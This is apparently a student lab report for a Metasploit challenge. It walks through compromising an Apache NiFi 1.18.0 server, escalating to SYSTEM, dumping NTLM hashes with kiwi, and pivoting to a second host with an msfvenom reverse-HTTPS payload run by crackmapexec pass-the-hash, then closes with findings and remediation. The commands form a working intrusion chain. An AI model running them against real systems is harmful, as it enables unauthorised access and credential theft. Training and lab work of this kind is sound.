CSOC 1040: Metasploit Challenge

September 28, 2023

Prepared By: Ashish Hedau

Contents

[Path to Compromise 2](#_Toc146821156)

[Technical Findings 16](#_Toc146821157)

[Unpatched Apache NiFi API running on http://192.168.203.225:8080 leading to Remote Code Execution 16](#_Toc146821158)

[Description 16](#_Toc146821159)

[Impact 16](#_Toc146821160)

[Recommendations 16](#_Toc146821161)

[Technical Findings 17](#_Toc146821162)

[Privilege Escalation vulnerability: From user ‘itwk03\alex’ to NT AUTHORITY\SYSTEM 17](#_Toc146821163)

[Description 17](#_Toc146821164)

[Impact 17](#_Toc146821165)

[Recommendations 17](#_Toc146821166)

# Path to Compromise

**Step 1**: Started the enumeration with ‘**nmap -sV -vv -p- 192.168.203.225**’. As highlighted port **8080** is running a web service named **Jetty.**

A screenshot of a computer

Description automatically generated

**Step 2**: The web service ‘**http://192.168.203.225:8080/nifi’**

*Note: Apache Nifi is an open-source data integration tool that provides an intuitive user interface to design data flows for moving, transforming, and processing data between various systems.*

A screen shot of a computer

Description automatically generated

**Step 3**: The version running for Apache NiFi is **1.18.0.**

A screenshot of a computer

Description automatically generated

**Step 4**: Verified Remote Code Execution against the version found.

*Source:* [*https://www.rapid7.com/db/modules/exploit/multi/http/apache\_nifi\_processor\_rce/*](https://www.rapid7.com/db/modules/exploit/multi/http/apache_nifi_processor_rce/)

A screenshot of a computer

Description automatically generated

**Step 5**: Metasploit module to exploit the vulnerability.

*Source:* [*https://labs.withsecure.com/tools/metasploit-modules-for-rce-in-apache-nifi-and-kong-api-gateway*](https://labs.withsecure.com/tools/metasploit-modules-for-rce-in-apache-nifi-and-kong-api-gateway)

A screenshot of a computer

Description automatically generated

**Step 6**: Follow the same commands as mentioned in the above snippet. The highlighted box shows an active session got after running commands in **msfconsole.**

* **use/multi/http/apache\_nifi\_processor\_rce**
* **set LHOST <LOCAL IP>, set target 1, set RHOST <TARGET IP>**
* **check**
* **run -z**

A screenshot of a computer

Description automatically generated

**Step 7**: Interact with the session using **sessions -i 1.** Highlighted below is the user **itwk03\alex**

A screenshot of a computer

Description automatically generated

**Step 8**: Upgrade the shell with ‘**multi/manage/shell\_to\_meterpreter.** Highlighted below, after running **getsystem** on upgraded meterpreter shell, we get **NT AUTHORITY\SYSTEM.**

* **use post/multi/manage/shell\_to\_meterpreter**
* **set session 1**
* **sessions -i 2**
* **getsystem**

A screenshot of a computer

Description automatically generated

**Step 9**: Dump the NTLM hash for **itwk04admin** using **creds\_all** in the **NT AUTHORITY\SYSTEM** meterpreter session**.** (*The NTLM hash is highlighted)*

* **load\_kiwi**
* **creds\_all**

A screenshot of a computer

Description automatically generated

**Step10**: Target IP (**192.168.233.206**) to pivot.

A screenshot of a computer

Description automatically generated

**Step 11**: Use **msfvenom** to create a payload and host it on a **python server.**

* **msfvenom -p windows/x64/meterpreter\_reverse\_https LHOST=<LOCAL IP> LPORT=443 -f exe -o pivot.exe**
* **python3 -m http.server 8888**

A screenshot of a computer

Description automatically generated

**Step 12**: Use crackmapexec to upload the malicious **pivot.exe.**

* **crackmapexec smb –local-auth -u itwk04admin -H “<NTLM hash>” -X “<LOCAL WEB\_SERVER IP/pivot.exe>” <TARGET IP>**

A screen shot of a computer

Description automatically generated

**Step 13**: Start a listener using ‘**exploit/multi/handler**’.

* **use exploit/multi/handler**
* **set PAYLOAD windows/x64/meterpreter\_reverse\_https**
* **run**

A screenshot of a computer

Description automatically generated

**Step 14**: Use crackmapexec to execute the malicious **pivot.exe.**

* **crackmapexec smb –local-auth -u itwk04admin -H “<NTLM hash>” -X “.\pivot.exe” <TARGET IP>**

A computer screen with text

Description automatically generated

**Step 15**: The listener picks up a meterpreter session. *Highlighted below is the user* ***ITWK04\itwk04admin*** *after running* ***getuid.***

A black screen with white text

Description automatically generated

**Step 16**: The flag is located at **C:\Users\itwk04admin\Desktop** as **flag.txt.**

A screenshot of a computer

Description automatically generated

# Technical Findings

## Unpatched Apache NiFi API running on <http://192.168.203.225:8080> leading to Remote Code Execution

## Description

The assessed IP in scope (192.168 .203.224) hosts an unpatched Apache NiFi instance accessible at <http://192.168.203.225:8080>. This vulnerability does not require any authentication or special privileges for exploitation. The situation poses significant security concerns as it exposes the system to potential threats. Specifically, the absence of updates and patches makes the system susceptible to Remote Code Execution, a severe security risk. This issue is critical due to its potential to allow unauthorized control over the system. It is crucial to promptly address this vulnerability by applying necessary security measures and patches to safeguard the Apache NiFi installation.

*Check this page for more details on vulnerabilities affecting Apache NiFi:* [*https://nifi.apache.org/security.htm*l](https://nifi.apache.org/security.html)

## Impact

The impact of this vulnerability is **CRITICAL** as it gives an unauthenticated access to the malicious actor. The vulnerability’s exploitability is significantly elevated by the widespread availability of readily accessible automated exploits on the internet, amplifying its level of danger. Consequently, this creates an urgent and pressing security concern, emphasizing the critical need for immediate attention and remediation to mitigate the risks associated with this security flaw.

## Recommendations

To mitigate this security issue, we recommend:

* Applying the latest patch or updating the Apache NiFi to the latest version available.
* Implement strong access controls and authentication mechanisms for systems and applications.
* Implement network segmentation to isolate critical systems from less secure areas of the network.

# Technical Findings

## Privilege Escalation vulnerability: From user ‘itwk03\alex’ to NT AUTHORITY\SYSTEM

## Description

After getting the initial access as ‘**itwk03\alex’,** the user has a privilege escalation vulnerability due to processes running with **ADMIN** privileges. The vulnerability was discovered through a meterpreter session which allowed us to get **NT AUTHORITY\SYSTEM** access. The ‘system’ privileged processes allow users to execute actions requiring ADMIN rights. Malicious actors can exploit these processes to attain NT AUTHORITY\SYSTEM privileges, enabling them to pivot to other services or machines.

*Check this page for CWE-250: Execution with Unnecessary Privileges 🡪* [*https://cwe.mitre.org/data/definitions/250.html*](https://cwe.mitre.org/data/definitions/250.html)

## Impact

The severity of this vulnerability is of the utmost concern as it grants the malicious actor the highest level of access. The utilization of a Meterpreter session simplifies the process of elevating access, exacerbating the level of risk. Following the acquisition of NT AUTHORITY\SYSTEM, we proceeded to pivot to **ITWK04\itwk04admin** by leveraging the NTLM hash extracted using 'kiwi'. Pivoting empowers attackers to broaden their reach within a network, potentially compromising additional systems, databases, or sensitive data. Additionally, attackers can establish persistence on multiple systems, complicating the removal process for the security team.

## Recommendations

To mitigate this security issue, we recommend:

* Follow the principle of least privilege and assign only necessary permissions to perform specific tasks or access resources.
* Keep all software, operating systems, and applications up to date with the latest security patches and updates.
* Configure systems and applications securely by following best practices and security guidelines.